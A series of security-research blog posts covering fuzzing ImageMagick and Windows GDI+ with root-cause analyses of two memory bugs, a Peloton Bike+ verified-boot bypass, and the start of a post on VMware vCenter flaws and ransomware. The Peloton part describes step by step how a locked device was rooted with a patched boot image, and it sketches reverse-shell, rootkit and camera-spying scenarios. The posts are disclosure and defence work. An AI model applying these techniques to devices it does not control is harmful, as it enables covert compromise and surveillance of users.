Google OSS Fuzz and other threat researchers have made ImageMagick the frequent focus of fuzzing, an extremely popular technique used by security researchers to discover potential zero-day vulnerabilities in open, as well as closed source software. This research has resulted in various vulnerability discoveries that must be addressed on a regular basis by its maintainers. Despite the efforts of many to expose such vulnerabilities, recent fuzzing research from McAfee has exposed new vulnerabilities involving processing of multiple image formats, in various open source and closed source software and libraries including ImageMagick and Windows GDI+.
Fuzzing open source libraries has been covered in a detailed blog “Vulnerability Discovery in Open Source Libraries Part 1: Tools of the Trade” last year. Fuzzing ImageMagick is very well documented, so we will be quickly covering the process in this blog post and will focus on the root cause analysis of the issue we have found.
ImageMagick has lot of configuration options which we can see by running following command:
| $./configure –help |
We can customize various parameters as per our needs. To compile and install ImageMagick with AFL for our case, we can use following commands:
|
$CC=afl-gcc CXX=afl=g++ CFLAGS=”-ggdb -O0 -fsanitize=address,undefined -fno-omit-frame-pointer” LDFLAGS=”-ggdb -fsanitize=address,undefined -fno-omit-frame-pointer” ./configure
$ make -j$(nproc) $sudo make install |
This will compile and install ImageMagick with AFL instrumentation. The binary we will be fuzzing is “magick”, also known as “magick tool”. It has various options, but we will be using its image conversion feature to convert our image from one format to another.
A simple command would be include the following:
| $ magick <input file> <output file> |
This command will convert an input file to an output file format. We will be fuzzing this with AFL.
Before we start fuzzing, we need to have a good input corpus. One way of collecting corpus is to search on Google or GitHub. We can also use existing test corpus from various software. A good test corpus is available on the AFL site here: https://lcamtuf.coredump.cx/afl/demo/
Corpus collection is one thing, but we also need to minimize the corpus. The way AFL works is that it will instrument each basic block so that it can trace the program execution path. It maintains a shared memory as a bitmap and it uses an algorithm to check new block hits. If a new block hit has been found, it will save this information to bitmap.
Now it may be possible that more than one input file from the corpus can trigger the same path, as we have collected sample files from various sources, we don’t have any information on what paths they will trigger at the runtime. If we use this corpus without removing such files, then we end up wasting time and CPU cycles. We need to avoid that.
Interestingly AFL offers a utility called “afl-cmin” which we can use to minimize our test corpus. This is a recommended thing to do before you start any fuzzing campaign. We can run this as follows:
| $afl-cmin -i <input directory> -o <output directory> — magick @@ /dev/null |
This command will minimize the input corpus and will keep only those files which trigger unique paths.
After we have minimized corpus, we can start fuzzing. To fuzz we need to use following command:
| $afl-fuzz -i <mincorpus directory> -o <output directory> — magick @@ /dev/null |
This will only run a single instance of AFL utilizing a single core. In case we have multicore processors, we can run multiple instances of AFL, with one Master and n number of Slaves. Where n is the available CPU cores.
To check available CPU cores, we can use this command:
| $nproc |
This will give us the number of CPU cores (depending on the system) as follows:
In this case there are eight cores. So, we can run one Master and up to seven Slaves.
To run master instances, we can use following command:
| $afl-fuzz -M Master -i <mincorpus directory> -o <output directory> — magick @@ /dev/null |
We can run slave instances using following command:
|
$afl-fuzz -S Slave1 -i <mincorpus directory> -o <output directory> — magick @@ /dev/null
$afl-fuzz -S Slave2 -i <mincorpus directory> -o <output directory> — magick @@ /dev/null |
The same can be done for each slave. We just need to use an argument -S and can use any name like slave1, slave2, etc.
Within a few hours of beginning this Fuzzing campaign, we found one crash related to an out of bound read inside a heap memory. We have reported this issue to ImageMagick, and they were very prompt in fixing it with a patch the very next day. ImageMagick has release a new build with version: 7.0.46 to fix this issue. This issue was assigned CVE-2020-27829.
On checking the POC file, we found that it was a TIFF file.
When we open this file with ImageMagick with following command:
| $magick poc.tif /dev/null |
As a result, we see a crash like below:
As is clear from the above log, the program was trying to read 1 byte past allocated heap buffer and therefore ASAN caused this crash. This can atleast lead to a ImageMagick crash on the systems running vulnerable version of ImageMagick.
Before we start debugging this issue to find a root cause, it is necessary to understand the TIFF file format. Its specification is very well described here: http://paulbourke.net/dataformats/tiff/tiff_summary.pdf.
In short, a TIFF file has three parts:
We can tiffinfo utility from libtiff to gather various information about the POC file. This allows us to see the following information with tiffinfo like width, height, sample per pixel, row per strip etc.:
There are a few things to note here:
| TIFF Dir offset is: 0xa0
Image width is: 3 and length is: 32 Bits per sample is: 9 Sample per pixel is: 3 Rows per strip is: 1024 Planer configuration is: single image plane. We will be using this data moving forward in this post. |
As we can see in the crash log, program was crashing at function “PushQuantumPixel” in the following location in quantum-import.c line 256:
On checking “PushQuantumPixel” function in “MagickCore/quantum-import.c” we can see the following code at line #256 where program is crashing:
We can see following:
The program is crashing at this location while reading the value of “pixels” which means that value is out of bound from the allocated heap memory.
Now we need to figure out following:
To start with, we can check “ReadTIFFImage” function in coders/tiff.c file and see that it allocates memory using a “AcquireQuantumMemory” function call, which appears as per the documentation mentioned here:
https://imagemagick.org/api/memory.php:
“Returns a pointer to a block of memory at least count * quantum bytes suitably aligned for any use.
The format of the “AcquireQuantumMemory” method is:
void *AcquireQuantumMemory(const size_t count,const size_t quantum)
A description of each parameter follows:
count
the number of objects to allocate contiguously.
quantum
the size (in bytes) of each object. “
In this case two parameters passed to this function are “extent” and “sizeof(*strip_pixels)”
We can see that “extent” is calculated as following in the code below:
There is a function TIFFStripSize(tiff) which returns size for a strip of data as mentioned in libtiff documentation here:
http://www.libtiff.org/man/TIFFstrip.3t.html
In our case, it returns 224 and we can also see that in the code mentioned above, “image->columns * sizeof(uint64)” is also added to extent, which results in 24 added to extent, so extent value becomes 248.
So, this extent value of 248 and sizeof(*strip_pixels) which is 1 is passed to “AcquireQuantumMemory” function and total memory of 248 bytes get allocated.
This is how memory is allocated.
“Strip_pixel” is pointer to newly allocated memory.
Note that this is 248 bytes of newly allocated memory. Since we are using ASAN, each byte will contain “0xbe” which is default for newly allocated memory by ASAN:
https://github.com/llvm-mirror/compiler-rt/blob/master/lib/asan/asan_flags.inc
The memory start location is 0x6110000002c0 and the end location is 0x6110000003b7, which is 248 bytes total.
This memory is set to 0 by a “memset” call and this is assigned to a variable “p”, as mentioned in below image. Please also note that “p” will be used as a pointer to traverse this memory location going forward in the program:
Later on we see that there is a call to “TIFFReadEncodedPixels” which reads strip data from TIFF file and stores it into newly allocated buffer “strip_pixels” of 248 bytes (documentation here: http://www.libtiff.org/man/TIFFReadEncodedStrip.3t.html):
To understand what this TIFF file data is, we need to again refer to TIFF file structure. We can see that there is a tag called “StripOffsets” and its value is 8, which specifies the offset of strip data inside TIFF file:
We see the following when we check data at offset 8 in the TIFF file:
We see the following when we print the data in “strip_pixels” (note that it is in little endian format):
So “strip_pixels” is the actual data from the TIFF file from offset 8. This will be traversed through pointer “p”.
Inside “ReadTIFFImage” function there are two nested for loops.
Here “stride” is calculated by calling function “TIFFVStripSize()” function which as per documentation returns the number of bytes in a strip with nrows rows of data. In this case it is 14. So, every time pointer “p” is incremented by “14” or “0xE” inside the second for loop.
If we print the image structure which is passed to “ImportQuantumPixels” function as parameter, we can see following:
Here we can notice that the columns value is 3, the rows value is 32 and depth is 9. If we check in the POC TIFF file, this has been taken from ImageWidth and ImageLength and BitsPerSample value:
Ultimately, control reaches to “ImportRGBQuantum” and then to the “PushQuantumPixel” function and one of the arguments to this function is the pixels data which is pointed by “p”. Remember that this points to the memory address which was previously allocated using the “AcquireQuantumMemory” function, and that its length is 248 byte and every time value of “p” is increased by 14.
The “PushQuantumPixel” function is used to read pixel data from “p” into the internal pixel data storage of ImageMagick. There is a for loop which is responsible for reading data from the provided pixels array of 248 bytes into a structure “quantum_Info”. This loop reads data from pixels incrementally and saves it in the “quantum_info->state.pixels” field.
The root cause here is that there are no proper bounds checks and the program tries to read data beyond the allocated buffer size on the heap, while reading the strip data inside a for loop.
This causes a crash in ImageMagick as we can see below:
Therefore, to summarize, the program crashes because:
If we check at the patch diff, we can see that the following changes were made to fix this issue:
Here the 2nd argument to “AcquireQuantumMemory” is multiplied by 2 thus increasing the total amount of memory and preventing this Out of Bound read issue from heap memory. The total memory allocated is 496 bytes, 248*2=496 bytes, as we can see below:
A new version of ImageMagick 7.0.46 was released to fix this issue. While the patch fixes the memory allocation issue, if we check the code below, we can see that there was a call to memset which didn’t set the proper memory size to zero.
Memory was allocated extent*2*sizeof(*strip_pixels) but in this memset to 0 was only done for extent*sizeof(*strip_pixels). This means half of the memory was set to 0 and rest contained 0xbebebebe, which is by default for ASAN new memory allocation.
This has since been fixed in subsequent releases of ImageMagick by using extent=2*TIFFStripSize(tiff); in the following patch:
Processing various image files requires deep understanding of various file formats and thus it is possible that something may not be exactly implemented or missed. This can lead to various vulnerabilities in such image processing software. Some of this vulnerability can lead to DoS and some can lead to remote code execution affecting every installation of such popular software.
Fuzzing plays an important role in finding vulnerabilities often missed by developers and during testing. We at McAfee constantly fuzz various closed source as well as open source software to help secure them. We work very closely with various vendors and do responsible disclosure. This shows McAfee’s commitment towards securing the software and protecting our customers from various threats.
We will continue to fuzz various software and work with vendors to help mitigate risk arriving from such threats.
We would like to thank and appreciate ImageMagick team for quickly resolving this issue within 24 hours and releasing a new version to fix this issue.
The post Fuzzing ImageMagick and Digging Deeper into CVE-2020-27829 appeared first on McAfee Blogs.
Microsoft Windows Graphics Device Interface+, also known as GDI+, allows various applications to use different graphics functionality on video displays as well as printers. Windows applications don’t directly access graphics hardware such as device drivers, but they interact with GDI, which in turn then interacts with device drivers. In this way, there is an abstraction layer to Windows applications and a common set of APIs for everyone to use.
Because of its complex format, GDI+ has a known history of various vulnerabilities. We at McAfee continuously fuzz various open source and closed source software including windows GDI+. Over the last few years, we have reported various issues to Microsoft in various Windows components including GDI+ and have received CVEs for them.
In this post, we detail our root cause analysis of one such vulnerability which we found using WinAFL: CVE-2021-1665 – GDI+ Remote Code Execution Vulnerability. This issue was fixed in January 2021 as part of a Microsoft Patch.
WinAFL is a Windows port of a popular Linux AFL fuzzer and is maintained by Ivan Fratric of Google Project Zero. WinAFL uses dynamic binary instrumentation using DynamoRIO and it requires a program called as a harness. A harness is nothing but a simple program which calls the APIs we want to fuzz.
A simple harness for this was already provided with WinAFL, we can enable “Image->GetThumbnailImage” code which was commented by default in the code. Following is the harness code to fuzz GDI+ image and GetThumbnailImage API:
As you can see, this small piece of code simply creates a new image object from the provided input file and then calls another function to generate a thumbnail image. This makes for an excellent attack vector and can affect various Windows applications if they use thumbnail images. In addition, this requires little user interaction, thus software which uses GDI+ and calls GetThumbnailImage API, is vulnerable.
A good corpus provides a sound foundation for fuzzing. For that we can use Google or GitHub in addition to further test corpus available from various software and public EMF files which were released for other vulnerabilities. We have generated a few test files by making changes to a sample code provided on Microsoft’s site which generates an EMF file with EMFPlusDrawString and other records:
After we have collected an initial corpus file, we need to minimize it. For this we can use a utility called winafl-cmin.py as follows:
| winafl-cmin.py -D D:\\work\\winafl\\DynamoRIO\\bin32 -t 10000 -i inCorpus -o minCorpus -covtype edge -coverage_module gdiplus.dll -target_module gdiplus_hardik.exe -target_method fuzzMe -nargs 2 — gdiplus_hardik.exe @@ |
WinAFL uses the concept of in-memory fuzzing. We need to provide a function name to WinAFL. It will save the program state at the start of the function and take one input file from the corpus, mutate it, and feed it to the function.
It will monitor this for any new code paths or crashes. If it finds a new code path, it will consider the new file as an interesting test case and will add it to the queue for further mutation. If it finds any crashes, it will save the crashing file in crashes folder.
The following picture shows the fuzzing flow:
Once we have compiled our harness program, collected, and minimized the corpus, we can run this command to fuzz our program with WinAFL:
| afl-fuzz.exe -i minCorpus -o out -D D:\work\winafl\DynamoRIO\bin32 -t 20000 —coverage_module gdiplus.dll -fuzz_iterations 5000 -target_module gdiplus_hardik.exe -target_offset 0x16e0 -nargs 2 — gdiplus_hardik.exe @@ |
We found a few crashes and after triaging unique crashes, and we found a crash in “gdiplus!BuiltLine::GetBaselineOffset” which looks as follows in the call stack below:
As can be seen in the above image, the program is crashing while trying to read data from a memory address pointed by edx+8. We can see it registers ebx, ecx and edx contains c0c0c0c0 which means that page heap is enabled for the binary. We can also see that c0c0c0c0 is being passed as a parameter to “gdiplus!FullTextImager::RenderLine” function.
To figure out a root cause, we can use patch diffing—namely, we can use IDA BinDiff plugin to identify what changes have been made to patched file. If we are lucky, we can easily find the root cause by just looking at the code that was changed. So, we can generate an IDB file of patched and unpatched versions of gdiplus.dll and then run IDA BinDiff plugin to see the changes.
We can see that one new function was added in the patched file, and this seems to be a destructor for BuiltLine Object :
We can also see that there are a few functions where the similarity score is < 1 and one such function is FullTextImager::BuildAllLines as shown below:
Now, just to confirm if this function is really the one which was patched, we can run our test program and POC in windbg and set a break point on this function. We can see that the breakpoint is hit and the program doesn’t crash anymore:
Now, as a next step, we need to identify what has been changed in this function to fix this vulnerability. For that we can check flow graph of this function and we see something as follows. Unfortunately, there are too many changes to identify the vulnerability by simply looking at the diff:
The left side illustrates an unpatched dll while right side shows a patched dll:
If we zoom in on the yellow blocks we can see following:
We can note several changes. Few blocks are removed in the patched DLL, so patch diffing will alone will not be sufficient to identify the root cause of this issue. However, this presents valuable hints about where to look and what to look for when using other methods for debugging such as windbg. A few observations we can spot from the bindiff output above:
So we can assume that this is where the vulnerability is fixed. Now we need to figure out following:
EMF is also known as enhanced meta file format which is used to store graphical images device independently. An EMF file is consisting of various records which is of variable length. It can contain definition of various graphic object, commands for drawing and other graphics properties.
Credit: MS EMF documentation.
Generally, an EMF file consist of the following records:
Detailed specifications of EMF file format can be seen at Microsoft site at following URL:
Generally, most of the issues in EMF are because of malformed or corrupt records. We need to figure out which record type is causing this crash. For this if we look at the call stack we can see following:
We can notice a call to function “gdiplus!GdipPlayMetafileRecordCallback”
By setting a breakpoint on this function and checking parameter, we can see following:
We can see that EDX contains some memory address and we can see that parameter given to this function are: 00x00401c,0x00000000 and 0x00000044.
Also, on checking the location pointed by EDX we can see following:
If we check our POC EMF file, we can see that this data belongs to file from offset: 0x15c:
By going through EMF specification and manually parsing the records, we can easily figure out that this is a “EmfPlusDrawString” record, the format of which is shown below:
In our case:
Record Type = 0x401c EmfPlusDrawString record
Flags = 0x0000
Size = 0x50
Data size = 0x44
Brushid = 0x02
Format id = 0x01
Length = 0x14
Layoutrect = 00 00 00 00 00 00 00 00 FC FF C7 42 00 00 80 FF
String data =
Now that we have located the record that seems to be causing the crash, the next thing is to figure out why our program is crashing. If we debug and check the code, we can see that control reaches to a function “gdiplus!FullTextImager::BuildAllLines”. When we decompile this code, we can see something like this:
The following diagram shows the function call hierarchy:
1. Inside “Builtline::BuildAllLines” memory will be allocated for 0x60 or 96 bytes, and in the debugger it looks as follows:
2. Then it calls “BuiltLine::BuiltLine” function and moves the data to newly allocated memory:
3. This happens in side a while loop and there is a function call to “BuiltLine::GetUntrimmedCharacterCount”.
4. Return value of “BuiltLine::GetUntrimmedCharacterCount” is stored in a location 0x12ff2ec. This value will be 1 as can be seen below:
5. This value gets added to ECX:
6. Then there is a check that determines if ecx< eax. If true, it will continue loop, else it will jump to another location:
7. Now in the vulnerable version, loop doesn’t exist if the return value of “BuiltLine::GetUntrimmedCharacterCount” is 0, which means that this 0 will be added to ECX and which means ECX will not increase. So the loop will execute 1 more time with the “ECX” value of 0x13. Thus, this will lead to loop getting executed 21 times rather than 20 times. This is the root cause of the problem here.
Also after some debugging, we can figure out why EAX contains 14. It is read from the POC file at offset: 0x174:
If we recall, this is the EmfPlusDrawString record and 0x14 is the length we mentioned before.
Later on, the program reaches to “FullTextImager::Render” function corrupting the value of EAX because it reads the unused memory:
This will be passed as an argument to “FullTextImager::RenderLine” function:
Later, program will crash while trying to access this location.
Our program was crashing while processing EmfPlusDrawString record inside the EMF file while accessing an invalid memory location and processing string data field. Basically, the program was not verifying the return value of “gdiplus!BuiltLine::GetUntrimmedCharacterCount” function and this resulted in taking a different program path that corrupted the register and various memory values, ultimately causing the crash.
As we have figured out by looking at patch diff above, a check was added which determined the return value of “gdiplus!BuiltLine::GetUntrimmedCharacterCount” function.
If the retuned value is 0, then program xor’s EBX which contains counter and jump to a location which calls destructor for Builtline Object:
Here is the destructor that prevents the issue:
GDI+ is a very commonly used Windows component, and a vulnerability like this can affect billions of systems across the globe. We recommend our users to apply proper updates and keep their Windows deployment current.
We at McAfee are continuously fuzzing various open source and closed source library and work with vendors to fix such issues by responsibly disclosing such issues to them giving them proper time to fix the issue and release updates as needed.
We are thankful to Microsoft for working with us on fixing this issue and releasing an update.
The post Analyzing CVE-2021-1665 – Remote Code Execution Vulnerability in Windows GDI+ appeared first on McAfee Blogs.
The McAfee Advanced Threat Research team today published the McAfee Labs Threats Report: June 2021.
In this edition we introduce additional context into the biggest stories dominating the year thus far including recent ransomware attacks. While the topic itself is not new, there is no question that the threat is now truly mainstream.
This Threats Report provides a deep dive into ransomware, in particular DarkSide, which resulted in an agenda item in talks between U.S. President Biden and Russian President Putin. While we have no intention of detailing the political landscape, we certainly do have to acknowledge that this is a threat disrupting our critical services. Furthermore, adversaries are supported within an environment that make digital investigations challenging with legal barriers that make the gathering of digital evidence almost impossible from certain geographies.
That being said, we can assure the reader that all of the recent campaigns are incorporated into our products, and of course can be tracked within our MVISION Insights preview dashboard.
This dashboard shows that – beyond the headlines – many more countries have experienced such attacks. What it will not show is that victims are paying the ransoms, and criminals are introducing more Ransomware-as-a-Service (RaaS) schemes as a result. With the five-year anniversary of the launch of the No More Ransom initiative now upon us it’s fair to say that we need more global initiatives to help combat this threat.
McAfee Labs threat research during the first quarter of 2021 include:
Additional Q1 2021 content includes:
We hope you enjoy this Threats Report. Don’t forget to keep track of the latest campaigns and continuing threat coverage by visiting our McAfee Threat Center. Please stay safe.
The post McAfee Labs Report Highlights Ransomware Threats appeared first on McAfee Blogs.
The McAfee Advanced Threat Research team (ATR) is committed to uncovering security issues in both software and hardware to help developers provide safer products for businesses and consumers. As security researchers, something that we always try to establish before looking at a target is what our scope should be. More specifically, we often assume well-vetted technologies like network stacks or the OS layers are sound and instead focus our attention on the application layers or software that is specific to a target. Whether that approach is comprehensive sometimes doesn’t matter; and it’s what we decided to do for this project as well, bypassing the Android OS itself and with a focus on the Peloton code and implementations. During our research process, we uncovered a flaw (CVE-2021-33887) in the Android Verified Boot (AVB) process, which was initially out of scope, that left the Peloton vulnerable.
For those that are not familiar with Peloton, it is a brand that has combined high end exercise equipment with cutting-edge technology. Its products are equipped with a large tablet that interfaces with the components of the fitness machine, as well as provides a way to attend virtual workout classes over the internet. “Under the hood” of this glossy exterior, however, is a standard Android tablet, and this hi-tech approach to exercise equipment has not gone unnoticed. Viral marketing mishaps aside, Peloton has garnered attention recently regarding concerns surrounding the privacy and security of its products. So, we decided to take a look for ourselves and purchased a Pelton Bike+.
One of the first things that we usually try do when starting a new project, especially when said projects involve large expenses like the Peloton, is to try to find a way to take a backup or a system dump that could be used if a recovery is ever needed. Not all of our research techniques keep the device in a pristine state (we’d be poor hackers if they did), and having the ability to restore the device to its factory settings is a safety net that we try to implement on our targets.
Because we are working with a normal Android device with only the Peloton customizations running at the application layer, many of the processes used to back up an Android phone would also work with the Peloton. It is common in the Android custom ROM scene to use a custom recovery image that allows the user to take full flash dumps of each critical partition and provides a method to restore them later. In such communities, it often also goes without saying that the device must first be unlocked in order to perform any of these steps. While the Android OS allows users to flash these critical partitions, there are restrictions in place that typically prevent an attacker from gaining access to the “currently” running system. If an attacker was able to get their hands on an Android device with the goal of installing a rootkit, they would have to jump through some hoops. The first step that an attacker would need to take is to enable “Original Equipment Manufacturer (OEM) Unlocking”, which is a user mode setting within the “developer options” menu. Even with physical access to the bootloader, an attacker would not be able to “unlock” the Android device unless this setting is checked. This option is usually secured behind the user’s password, PIN, or biometric phone lock, preventing an attacker from accessing it easily. The second security measure in place is that even with the “OEM Unlocking” setting on, issuing commands to the bootloader to perform the unlock first causes all data on the Android device, including applications, files, passwords, etc., to be wiped. This way, even if an attacker did gain access to the Android device of an unsuspecting victim, they wouldn’t be able to install a rootkit or modify the existing kernel without deleting all the data, which both prevents personal data from falling into the attacker’s hands and makes it obvious the device has been tampered with.
For this research effort, we resisted the urge to unlock the Peloton, as there are ways for apps to query the unlock status of a device within Android, and we wanted to ensure that any vulnerabilities we found weren’t the result of the device behaving differently due to it being unlocked. These discrepancies that arise from our research are usually identified by having two target devices: one to serve as the control and the other to serve as the test device. Unfortunately, we only had one Peloton to play with. Another issue was that the Peloton hardware is not very common and the developers of the aforementioned custom recovery images, like Team Win Recovery Project (TWRP), don’t create images for every device, just the most common ones. So, the easy method of taking a backup would not only require unlocking the device but also trying to create our own custom recovery image.
This left us as at a crossroads. We could unlock the bootloader and root the device, granting us access to the flash memory block devices (raw interfaces to the flash partitions) internally, which would allow us to create and restore backups as needed. However, as mentioned before, this would leave the bike in a recognizably “tampered” state. Alternatively, we could try to capture one of the bike’s Over-The-Air (OTA) updates to use as a backup, but we would still need to “unlock” the device to actually flash the OTA image manually. Both options were less than ideal so we kept looking for other solutions.
Just as Secure Boot provides a security mechanism for properly booting the OS on Windows PCs, Android has implemented measures to control the boot process, called Android Verified Boot (AVB). According to Android’s documentation, AVB “requires cryptographically verifying all executable code and data that is part of the Android version being booted before it is used. This includes the kernel (loaded from the boot partition), the device tree (loaded from the dtbo partition), system partition, vendor partition, and so on.”
The Peloton Bike+ ships with the default settings of “Verity Mode” set to true, as well as “Device Unlocked” and “Device Critical Unlocked” set to false, which is intended to prevent the loading of modified boot images and provide a way to determine if the device has been tampered with. This information was verified by running fastboot oem device-info on the Peloton, as demonstrated in Figure 1.
Figure 1: OEM device info showing verity mode and unlocked status.
To clarify, a simplified Android boot process can be visualized as follows:
Figure 2: Simplified Android Boot Process
If modified code is found at any of the stages in Figure 2, the boot process should abort or, if the device is unlocked, warn the user that the images are not verified and give the option to the user to abort the boot.
Given that we defined our scope of this project to not include the Android boot process as a part of our research and verifying that Peloton has attempted to use the security measures provided by Android, we again found ourselves debating if a backup would be possible.
In newer Android releases, including the Peloton, the update method uses Android’s Seamless System Updates (A/B). This update method no longer needs the “recovery” partition, forcing users who wish to use a custom recovery to use the fastboot boot command which will download and boot the supplied image. This is a temporary boot that doesn’t “flash“ or alter any of the flash partitions of the device and will revert to the previous boot image on restart. Since this option allows for modified code to be executed, it is only available when the device is in an unlocked state and will error out with a message stating “Please unlock device to enable this command,” if attempted on a locked device.
This is a good security implementation because if this command was always allowed, it would be very similar to the process of booting from a live USB on your PC, where you can login as a root user and have full control over the underlying system and components.
This is where our luck or maybe naïveté worked to our advantage. Driven by our reluctance to unlock the device and our desire to make a backup, we tried to boot a generic TWRP recovery image just to see what would happen. The image ended up leaving us at a black screen, and since each recovery image needs to contain a small kernel with the correct drivers for the display, touch digitizer, and other device–specific hardware, this was to be expected. What we didn’t expect, however, was for it to get past the fastboot boot command. While we didn’t get a custom recovery running, it did tell us one thing; the system was not verifying that the device was unlocked before attempting to boot a custom image. Normally this command would be denied on a “locked” device and would have just errored out on the fastboot command, as mentioned previously.
It is also important to point out that despite having booted a modified image, the internal fuse had not been burned. These fuses are usually burned during the OEM unlocking process to identify if a device has allowed for a different “root of trust” to be installed. The burning of such a fuse is a permanent operation and a burnt fuse often indicates that the device has been tampered with. As shown in Figure 3, the “Secure Boot” fuse was still present, and the device was reporting a locked bootloader.
Figure 3: Secure boot enabled with fused protection
This discovery was unexpected and we felt like we had stumbled upon a flaw that gave us the ability to finally take a backup of the device and leave the Peloton in an “untampered” state. Knowing that a custom image could be booted even with a “locked” bootloader, we began looking at ways to gather a valid boot image, which would contain the correct kernel drivers to facilitate a successful boot. If we could piece together the OTA update URL and just download an update package directly from Peloton, it would likely contain a boot image that we could modify. Having the ability to modify a boot image would give us root and access to the blocked devices.
Even with just ADB debugging enabled we were able to pull the Peloton–specific applications from the device. We listed all the Peloton APKs and sought out the ones that could help us get the OTA path, shown in Figure 4.
Figure 4: Listing Peloton Specific Applications and Highlighting the one related to OTA Updates.
Finding the name OTAService promising, we pulled down the APK and began to reverse-engineer it using JADX. After some digging, we discovered how the app was building the download URL string for OTA updates, which would then be passed to beginDownload(), as seen in Figure 5.
Figure 5: OTA image path being constructed as “key”
We also noticed quite a few Android log calls that could help us, such as the one right before the call to beginDownload(), so we used Android’s built–in logcat command and grepped the output for “OTA” as seen in Figure 6. Doing so, we were able to find which S3 bucket was used for the OTA updates and even a file manifest titled OTAConfig.json.
Figure 6: Relevant OTA logs in red
Combining the information obtained from OTAService.apk and the logs, we were able to piece together the full path to the OTA images manifest file and names for each OTA zip file, as shown in Figure 7.
Figure 7: Contents of OTAConfig.json
Our next step was to extract the contents of the OTA update to get a valid boot.img file that would contain all the specific kernel drivers for the Peloton hardware. Since the Peloton is using Android’s A/B partitions, which facilitate seamless updates, the update packages were stored in a “payload.bin” format. Using the Android payload dumper tool, we were able to extract all of the images contained in the bin file.
Once the boot.img was extracted, we needed a way to modify the initial kernel to allow us to gain root access on the device. Although there are a variety of ways to accomplish this, we decided to keep things simple and just use the Magisk installer to patch the boot.img file to include the “su” binary. With the boot.img patched, we were able to use the fastboot boot command again but this time passing it our patched boot.img file. Since the Verified Boot process on the Peloton failed to identify the modified boot image as tampered, the OS booted normally with the patched boot.img file. After this process was complete, the Peloton Bike+ was indistinguishable from its “normal” state under visual inspection and the process left no artifacts that would tip off the user that the Pelton had been compromised. But appearances can be deceiving, and in reality the Android OS had now been rooted, allowing us to use the “su” command to become root and perform actions with UID=0, as seen in Figure 8.
Figure 8: Booting modified boot.img and executing whoami as Root
As we just demonstrated, the ability to bypass the Android Verified Boot process can lead to the Android OS being compromised by an attacker with physical access. A worst-case scenario for such an attack vector might involve a malicious agent booting the Peloton with a modified image to gain elevated privileges and then leveraging those privileges to establish a reverse shell, granting the attacker unfettered root access on the bike remotely. Since the attacker never has to unlock the device to boot a modified image, there would be no trace of any access they achieved on the device. This sort of attack could be effectively delivered via the supply chain process. A malicious actor could tamper with the product at any point from construction to warehouse to delivery, installing a backdoor into the Android tablet without any way the end user could know. Another scenario could be that an attacker could simply walk up to one of these devices that is installed in a gym or a fitness room and perform the same attack, gaining root access on these devices for later use. The Pelobuddy interactive map in figure 9 below could help an attacker find public bikes to attack.
Figure 9: pelobuddy.com’s interactive map to help locate public Peloton exercise equipment.
Once an attacker has root, they could make their presence permanent by modifying the OS in a rootkit fashion, removing any need for the attacker to repeat this step. Another risk is that an attacker could modify the system to put themselves in a man-in-the-middle position and sniff all network traffic, even SSL encrypted traffic, using a technique called SSL unpinning, which requires root privileges to hook calls to internal encryption functionality. Intercepting and decrypting network traffic in this fashion could lead to users’ personal data being compromised. Lastly, the Peloton Bike+ also has a camera and a microphone installed. Having remote access with root permissions on the Android tablet would allow an attacker to monitor these devices and is demoed in the impact video below.
Given the simplicity and criticality of the flaw, we decided to disclose to Peloton even as we continue to audit the device for remote vulnerabilities. We sent our vendor disclosure with full details on March 2, 2021 – shortly after, Peloton confirmed the issue and subsequently released a fix for it in software version “PTX14A-290”. The patched image no longer allows for the “boot” command to work on a user build, mitigating this vulnerability entirely. The Peloton vulnerability disclosure process was smooth, and the team were receptive and responsive with all communications. Further conversations with Peloton confirmed that this vulnerability is also present on Peloton Tread exercise equipment; however, the scope of our research was confined to the Bike+.
Peloton’s Head of Global Information Security, Adrian Stone, shared the following “this vulnerability reported by McAfee would require direct, physical access to a Peloton Bike+ or Tread. Like with any connected device in the home, if an attacker is able to gain physical access to it, additional physical controls and safeguards become increasingly important. To keep our Members safe, we acted quickly and in coordination with McAfee. We pushed a mandatory update in early June and every device with the update installed is protected from this issue.”
We are continuing to investigate the Peloton Bike+, so make sure you stay up to date on McAfee’s ATR blogs for any future discoveries.
The post A New Program for Your Peloton – Whether You Like It or Not appeared first on McAfee Blogs.
Virtualization technology has been an IT cornerstone for organization for years now. It revolutionized the way organizations can scale up IT systems in a heartbeat, allowing then to be more agile as opposed to investing into dedicated “bare-metal” hardware. To the outside untrained eye, it might seem that there are different machines on the network, while in fact all the “separate” machines are controlled by a hypervisor server. Virtualization plays such a big role nowadays that it isn’t only used to spin up servers but also anything from virtual applications to virtual user desktops.
This is something cyber criminals have been noticing too and we have seen an increased interest in hypervisors. After all, why attack the single virtual machine when you can go after the hypervisor and control all the machines at once?
In recent months several high impact CVEs regarding virtualization software have been released which allowed for Remote Code Execution (RCE); initial access brokers are offering compromised VMware vCenter servers online, as well as ransomware groups developing specific ransomware binaries for encrypting ESXi servers.
On the 25th of May VMware disclosed a vulnerability impacting VMware vCenter servers allowing for Remote Code Execution on internet accessible vCenter servers, version 6.5,6.7 and 7.0. VMware vCenter is a management tool, used to manage virtual machines and ESXi servers.
CVE-2021-21985 is a remote code execution (RCE) vulnerability in the vSphere Client via the Virtual SAN (vSAN) Health Check plugin. This plugin is enabled by default. The combination of RCE and default enablement of the plugin resulted in this being scored as a critical flaw with a CVSSv3 score of 9.8.
An attacker needs to be able to access vCenter over TCP port 443 to exploit this vulnerability. It doesn’t matter if the vCenter is remotely exposed or when the attacker has internal access.
The same exploit vector is applicable for CVE-2021-21986, which is an authentication mechanism issue in several vCenter Server Plug-ins. It would allow an attacker to run plugin functions without authentication. This leads to the CVE being scored as a ‘moderate severity’, with a CVSSv3 score of 6.5.
While writing this blog, a Proof-of-Concept was discovered that will test if the vulnerability exists; it will not execute the remote-code. The Nmap plugin can be downloaded from this location: https://github.com/alt3kx/CVE-2021-21985_PoC.
Searching with the Shodan search engine, narrowing it down to the TCP 443 port, we observe that close to 82,000 internet accessible ESXi servers are exposed. Zooming in further on the versions that are affected by these vulnerabilities, almost 55,000 publicly accessible ESXi servers are potentially vulnerable to CVE-2021-21985 and CVE-2021-21986, providing remote access to them and making them potential candidates for ransomware attacks, as we will read about in the next paragraphs.
Ransomware groups are always trying to find ways to hit their victims where it hurts. So, it is only logical that they are adapting to attacking virtualization environments and the native Unix/Linux machines running the hypervisors. In the past, ransomware groups were quick to abuse earlier CVEs affecting VMware. But aside from the disclosed CVEs, ransomware groups have also adapted their binaries specifically to encrypt virtual machines and their management environment. Below are some of the ransomware groups we have observed.
Figure 1. Screenshot from the DarkSide ransomware group, explicitly mentioning its Linux-based encryptor and support for ESXi and NAS systems
